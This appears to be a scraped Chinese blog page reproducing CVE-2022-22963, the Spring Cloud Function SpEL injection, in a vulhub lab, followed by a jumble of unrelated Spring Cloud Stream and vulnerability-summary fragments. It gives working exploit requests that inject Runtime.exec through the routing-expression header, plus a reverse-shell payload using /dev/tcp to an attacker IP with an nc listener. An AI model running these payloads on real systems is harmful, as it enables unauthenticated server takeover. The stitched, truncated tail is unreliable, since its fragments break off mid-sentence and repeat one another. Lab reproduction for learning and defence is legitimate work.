添加链接
link之家
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
相关文章推荐
傻傻的课本  ·  Eclipse 快捷键 | 菜鸟教程·  1 年前    · 
强健的黑框眼镜  ·  mysql ...·  1 年前    · 
严肃的皮蛋  ·  sqlserver cast函数 ...·  1 年前    · 

当properties中配置 spring.cloud.function.definition=functionRouter 时,会触发RoutingFunction逻辑,在Spring Cloud Function中,RoutingFunction类的 apply 方法会将请求头中的 spring.cloud.function.routing-expression 参数作为 SpEL 表达式进行处理,从而造成 SpEL 表达式注入漏洞。

Spring Cloud Function SpEL 表达式命令注入漏洞复现

打开vulhub,输入命令

cd spring/CVE-2022-22963
sudo docker-compose up -d
sudo docker-compose ps

可以看到端口设置在8080

curl -v 'http://靶机IP:8080/functionRouter' -H "Content-Type: text/plain" -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/hacker")' --data 1111
  • 或者打开burpsuite进行抓包,再发送以下数据包:
POST /functionRouter HTTP/1.1
Host: 靶机IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/hacker")
Content-Type: text/plain
Content-Length: 0

在源码中可以看到,未修改前的代码中spring.cloud.function.routing-expression参数被functionFromExpression接口中的getValue进行处理,该方法使用了StandardEvaluationContext来进行解析SeEL表达式,从而形成了注入漏洞

利用Spring Cloud Function SpEL 表达式命令注入漏洞进行反弹shell连接

另启一个终端,再终端中输入

nc -lvvp 4444

将以下内容进行base64编码,获得base64编码值

bash -i >& /dev/tcp/攻击机IP/4444 0>&1

回到原来终端,输入

curl -v 'http://靶机IP:8080/functionRouter' -H "Content-Type: text/plain" -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,base64编码值}|{base64,-d}|{bash,-i}")' --data 1111

成功连接上靶机

官方定义Spring Cloud Stream 是一个用来为微服务应用构建消息驱动能力的框架。它为一些供应商的消息中间件产品提供了个性化的自动化配置实现,Spirng Cloud Stream 本质上就是整合了 Spring Boot 和 Spring Integration,实现一套轻量级的消息驱动的微服务框架。通过使用 Spring Cloud Stream 可以有效简化开发人员对消息中间件的使用复杂度,让系统开发人员可以有更多的精力关注于核心业务逻辑的处理。 定义Spring Cloud Stream 是一个用来为微服务应用构建消息驱动能力的框架。它可以基于 Spring Boot 来创建独立的、可用于生产的 Spring 应用程序。Spring Cloud Stream 为一些供应商的消息中间件产品提供了个性化的自动化配置实现,并引入了发布-订阅、消费组、分区这三个核心概念。简单的说,Spring Cloud Stream本质上就是整合了Spring Boot和Spring Integration,实现了一套轻量级的消息驱动的微服务框架。抽象模型。 是一个用来为微服务应用构建消息驱动能力的框架。它可以基于来创建独立的、可用于生产的Spring应用程序。为一些供应商的消息中间件产品提供了个性化的自动化配置实现,并引入了发布-订阅、消费组、分区这三个核心概念。简单的说,本质上就是整合了和,实现了一套轻量级的消息驱动的微服务框架。/*** 这两个通道可能定义在两个不同的通道里面,这里为了方便放在同一个项目中演示*/ // 收(订阅频道/消息消费者) @Input(INPUT) SubscribableChannel input(); 漏洞描述 Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS),当其启用动态路由functionRouter时, HTTP请求头 spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。 Spring Cloud Function SPEL表达式注入漏洞影响范围: 3 <= spring-cloud-function-context <= 3.2. 一、漏洞简述 Spring Cloud Function 是基于Spring Boot的函数计算框架(FaaS),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 在版本3.0.0到当前最新版本3.2.2(commit dc5128b),默 Spring Cloud Function SpEL表达式注入漏洞,远程攻击者在无需认证的情况下,构造特定的数据包,在header中添加"spring.cloud.function.routing-expression"参数并携带SpEL表达式,成功利用漏洞可实现任意代码执行。如果程序使用Maven打包,可以通过排查项目的pom.xml文件中是否引入spring-cloud-function相关依赖,确认其版本是否在受影响范围内。建议等待官方发布修复版本或自行下载修复代码进行手动编译。 Spring Cloud Function 是基于 Spring Boot的函数计算框架。该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件。在Spring Cloud Function相关版本,存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL表达式,最终执行任意命令,获取服务器权限。 spring cloud stream 学习 基于《spring cloud stream 3.1.x》 在学习spring cloud stream 之前, 先要了解一下 spring cloud function 模块, 新版采用 function 函数 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-star